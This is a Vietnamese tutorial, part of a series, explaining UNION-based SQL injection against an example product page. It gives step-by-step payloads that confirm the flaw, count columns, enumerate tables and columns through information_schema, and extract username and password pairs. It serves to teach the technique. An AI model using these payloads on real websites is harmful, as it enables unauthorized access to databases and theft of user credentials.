Ở phần trước, chúng ta đã tìm hiểu cơ bản về lỗ hổng SQL Injection thông qua một ví dụ đơn giản. Phần này, hãy cùng tìm hiểu một số kỹ thuật thường được sử dụng khi khai thác lỗ hổng này.
Khai thác SQL Injection sử dụng union
Đây là một trong những kỹ thuật hay sử dụng nhất khi khai thác SQL Injection.
Giả sử ta có một website giới thiệu máy tính, phần xem chi tiết sản phẩm như sau:
Đường link của trang web:
http://tek.eten.vn/sql/union/product.php?id=1
(đường link không có thật đâu, chỉ là ví dụ thôi ^^)
Chi tiết về sản phẩm có id=1 được hiện ra trên màn hình, câu truy vấn CSDL sẽ là:
$query = "select * from product where id = ".$id;
select * from product where id = 1
Ta thêm một biểu thức logic luôn trả về giá trị true vào cuối link:
http://tek.eten.vn/sql/union/product.php?id=1 and 1=1
Kết quả thu được trên màn hình không thay đổi. Bây giờ ta thay and 1=1 bằng and 1=0 sẽ nhận được thông báo “Không tìm thấy sản phẩm!”. Lý do là trang web đã bị lỗi SQL Injection và kết quả trả về của hai câu truy vấn trong hai trường hợp này là khác nhau:
select * from product where id = 1 and 1=1 select * from product where id = 1 and 1=0
Kỹ thuật khai thác sử dụng union dựa vào khả năng kết hợp kết quả của hai câu lệnh select. Điều lưu ý ở đây là hai câu lệnh union phải có cùng số column, vì thế ta sẽ phải xác định số column của câu lện select thứ nhất:
http://tek.eten.vn/sql/union/product.php?id=1 union select 1 http://tek.eten.vn/sql/union/product.php?id=1 union select 1,2 …
Tăng dần số cột của mệnh đề select thứ hai cho đến khi kết quả thu được như bình thường, ta xác định được số column là 5:
http://tek.eten.vn/sql/union/product.php?id=1 union select 1,2,3,4,5
select * from product where id = 1 union select 1,2,3,4,5
Thay id = 1 bằng một giá trị không tồn tại, ví dụ id = -1
Ta thấy rằng khi thay id bằng một giá trị không tồn tại, mệnh đề select thứ nhất không trả về kết quả nào, kết quả của mệnh đề select thứ 2 được hiển thị.
Như vậy ta đã hiển thị được kết quả của câu lệnh select thứ hai ra màn hình. Bây giờ ta sẽ tùy biến câu lệnh này để lấy thông tin trong cơ sở dữ liệu.
Giới thiệu về information_schema
information_schema là một database có sẵn trong hệ quản trị cơ sở dữ liệu MySQL và MSSQL chứa nhiều thông tin về các database. Ta quan tâm đến hai bảng trong information_schema là information_schema.tables và information_schema.columns
- information_schema.tables: Thông tin về tất cả các bảng có trong tất các database.
- information_schema.columns: Thông tin về tất cả các cột có trong tất các database.
Ta có thể sử dụng information_schema.tables để lấy tên tất cả các bảng trong CSDL:
http://tek.eten.vn/sql/union/product.php?id=-1 union select 1, group_concat(table_name), 3, 4, 5 from information_schema.tables
select * from product where id = -1 union select 1, group_concat(table_name), 3, 4, 5 from information_schema.tables
Ta tiếp tục sử dụng information_schema.columns để lấy tên các cột trong bảng user:
http://tek.eten.vn/sql/union/product.php?id=-1 union select 1, group_concat(column_name), 3, 4, 5 from information_schema.columns where table_name=’user’ and table_schema=database()
Từ đây ta có thể lấy mọi thông tin về các user:
http://tek.eten.vn/sql/union/product.php?id=-1 union select 1,concat(username, 0x3a, password), 3 , 4, 5 from user http://tek.eten.vn/sql/union/product.php?id=-1 union select 1, concat(username, 0x3a, password), 3, 4, 5 from user
Username và password đầu tiên trong bảng user
(còn tiếp…)
Khi trích dẫn bài viết từ tek.eten.vn, xin vui lòng ghi rõ nguồn. Chúng tôi sẽ rất cảm ơn bạn!